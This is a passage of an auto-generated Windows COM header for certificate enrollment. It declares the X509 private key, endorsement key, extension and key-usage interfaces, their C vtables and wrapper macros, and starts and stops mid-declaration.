get_UIContextMessage(This,pValue) ) \n\n#define IX509PrivateKey2_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509PrivateKey2_put_Pin(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Pin(This,Value) ) \n\n#define IX509PrivateKey2_get_FriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_FriendlyName(This,pValue) ) \n\n#define IX509PrivateKey2_put_FriendlyName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_FriendlyName(This,Value) ) \n\n#define IX509PrivateKey2_get_Description(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Description(This,pValue) ) \n\n#define IX509PrivateKey2_put_Description(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Description(This,Value) ) \n\n\n#define IX509PrivateKey2_get_HardwareKeyUsage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_HardwareKeyUsage(This,pValue) ) \n\n#define IX509PrivateKey2_put_HardwareKeyUsage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_HardwareKeyUsage(This,Value) ) \n\n#define IX509PrivateKey2_get_AlternateStorageLocation(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateStorageLocation(This,pValue) ) \n\n#define IX509PrivateKey2_put_AlternateStorageLocation(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateStorageLocation(This,Value) ) \n\n#define IX509PrivateKey2_get_AlgorithmName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlgorithmName(This,pValue) ) \n\n#define IX509PrivateKey2_put_AlgorithmName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlgorithmName(This,Value) ) \n\n#define IX509PrivateKey2_get_AlgorithmParameters(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlgorithmParameters(This,Encoding,pValue) ) \n\n#define IX509PrivateKey2_put_AlgorithmParameters(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_AlgorithmParameters(This,Encoding,Value) ) \n\n#define IX509PrivateKey2_get_ParametersExportType(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParametersExportType(This,pValue) ) \n\n#define IX509PrivateKey2_put_ParametersExportType(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParametersExportType(This,Value) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509PrivateKey2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509EndorsementKey_INTERFACE_DEFINED__\n#define __IX509EndorsementKey_INTERFACE_DEFINED__\n\n/* interface IX509EndorsementKey */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509EndorsementKey;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"B11CD855-F4C4-4FC6-B710-4422237F09E9\")\n    IX509EndorsementKey : public IDispatch\n    {\n    public:\n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ProviderName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ProviderName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Length( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Opened( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddCertificate( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE RemoveCertificate( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCertificateByIndex( \n            /* [in] */ VARIANT_BOOL ManufacturerOnly,\n            /* [in] */ LONG dwIndex,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCertificateCount( \n            /* [in] */ VARIANT_BOOL ManufacturerOnly,\n            /* [retval][out] */ __RPC__out LONG *pCount) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ExportPublicKey( \n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppPublicKey) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Open( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Close( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509EndorsementKeyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509EndorsementKey * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509EndorsementKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509EndorsementKey * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProviderName )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ProviderName )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Length )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Opened )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddCertificate )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveCertificate )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCertificateByIndex )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [in] */ VARIANT_BOOL ManufacturerOnly,\n            /* [in] */ LONG dwIndex,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCertificateCount )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [in] */ VARIANT_BOOL ManufacturerOnly,\n            /* [retval][out] */ __RPC__out LONG *pCount);\n        \n        HRESULT ( STDMETHODCALLTYPE *ExportPublicKey )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppPublicKey);\n        \n        HRESULT ( STDMETHODCALLTYPE *Open )( \n            __RPC__in IX509EndorsementKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Close )( \n            __RPC__in IX509EndorsementKey * This);\n        \n        END_INTERFACE\n    } IX509EndorsementKeyVtbl;\n\n    interface IX509EndorsementKey\n    {\n        CONST_VTBL struct IX509EndorsementKeyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509EndorsementKey_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509EndorsementKey_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509EndorsementKey_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509EndorsementKey_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509EndorsementKey_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509EndorsementKey_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509EndorsementKey_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509EndorsementKey_get_ProviderName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ProviderName(This,pValue) ) \n\n#define IX509EndorsementKey_put_ProviderName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ProviderName(This,Value) ) \n\n#define IX509EndorsementKey_get_Length(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Length(This,pValue) ) \n\n#define IX509EndorsementKey_get_Opened(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Opened(This,pValue) ) \n\n#define IX509EndorsementKey_AddCertificate(This,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> AddCertificate(This,Encoding,strCertificate) ) \n\n#define IX509EndorsementKey_RemoveCertificate(This,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveCertificate(This,Encoding,strCertificate) ) \n\n#define IX509EndorsementKey_GetCertificateByIndex(This,ManufacturerOnly,dwIndex,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> GetCertificateByIndex(This,ManufacturerOnly,dwIndex,Encoding,pValue) ) \n\n#define IX509EndorsementKey_GetCertificateCount(This,ManufacturerOnly,pCount)\t\\\n    ( (This)->lpVtbl -> GetCertificateCount(This,ManufacturerOnly,pCount) ) \n\n#define IX509EndorsementKey_ExportPublicKey(This,ppPublicKey)\t\\\n    ( (This)->lpVtbl -> ExportPublicKey(This,ppPublicKey) ) \n\n#define IX509EndorsementKey_Open(This)\t\\\n    ( (This)->lpVtbl -> Open(This) ) \n\n#define IX509EndorsementKey_Close(This)\t\\\n    ( (This)->lpVtbl -> Close(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509EndorsementKey_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509Extension_INTERFACE_DEFINED__\n#define __IX509Extension_INTERFACE_DEFINED__\n\n/* interface IX509Extension */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509Extension;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab30d-217d-11da-b2a4-000e7bbb2b09\")\n    IX509Extension : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Critical( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_Critical( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509Extension * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509Extension * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509Extension * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509Extension * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509Extension * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509Extension * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509Extension * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509Extension * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509Extension * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509Extension * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509Extension * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509Extension * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        END_INTERFACE\n    } IX509ExtensionVtbl;\n\n    interface IX509Extension\n    {\n        CONST_VTBL struct IX509ExtensionVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509Extension_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509Extension_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509Extension_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509Extension_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509Extension_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509Extension_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509Extension_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509Extension_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509Extension_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509Extension_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509Extension_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509Extension_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509Extension_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509Extensions_INTERFACE_DEFINED__\n#define __IX509Extensions_INTERFACE_DEFINED__\n\n/* interface IX509Extensions */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509Extensions;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab30e-217d-11da-b2a4-000e7bbb2b09\")\n    IX509Extensions : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extension **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IX509Extension *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IndexByObjectId( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [retval][out] */ __RPC__out LONG *pIndex) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddRange( \n            /* [in] */ __RPC__in_opt IX509Extensions *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509Extensions * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509Extensions * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509Extensions * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509Extensions * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extension **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IX509Extensions * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IX509Extensions * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ __RPC__in_opt IX509Extension *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IX509Extensions * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IndexByObjectId )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [retval][out] */ __RPC__out LONG *pIndex);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddRange )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ __RPC__in_opt IX509Extensions *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionsVtbl;\n\n    interface IX509Extensions\n    {\n        CONST_VTBL struct IX509ExtensionsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509Extensions_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509Extensions_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509Extensions_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509Extensions_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509Extensions_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509Extensions_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509Extensions_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509Extensions_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IX509Extensions_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IX509Extensions_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IX509Extensions_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IX509Extensions_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IX509Extensions_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define IX509Extensions_get_IndexByObjectId(This,pObjectId,pIndex)\t\\\n    ( (This)->lpVtbl -> get_IndexByObjectId(This,pObjectId,pIndex) ) \n\n#define IX509Extensions_AddRange(This,pValue)\t\\\n    ( (This)->lpVtbl -> AddRange(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509Extensions_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0018 */\n/* [local] */ \n\ntypedef \nenum X509KeyUsageFlags\n    {\n        XCN_CERT_NO_KEY_USAGE\t= 0,\n        XCN_CERT_DIGITAL_SIGNATURE_KEY_USAGE\t= 0x80,\n        XCN_CERT_NON_REPUDIATION_KEY_USAGE\t= 0x40,\n        XCN_CERT_KEY_ENCIPHERMENT_KEY_USAGE\t= 0x20,\n        XCN_CERT_DATA_ENCIPHERMENT_KEY_USAGE\t= 0x10,\n        XCN_CERT_KEY_AGREEMENT_KEY_USAGE\t= 0x8,\n        XCN_CERT_KEY_CERT_SIGN_KEY_USAGE\t= 0x4,\n        XCN_CERT_OFFLINE_CRL_SIGN_KEY_USAGE\t= 0x2,\n        XCN_CERT_CRL_SIGN_KEY_USAGE\t= 0x2,\n        XCN_CERT_ENCIPHER_ONLY_KEY_USAGE\t= 0x1,\n        XCN_CERT_DECIPHER_ONLY_KEY_USAGE\t= ( 0x80 << 8 ) \n    } \tX509KeyUsageFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0018_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0018_v0_0_s_ifspec;\n\n#ifndef __IX509ExtensionKeyUsage_INTERFACE_DEFINED__\n#define __IX509ExtensionKeyUsage_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionKeyUsage */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionKeyUsage;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab30f-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionKeyUsage : public IX509Extension\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ X509KeyUsageFlags UsageFlags) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_KeyUsage( \n            /* [retval][out] */ __RPC__out X509KeyUsageFlags *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionKeyUsageVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionKeyUsage * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionKeyUsage * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            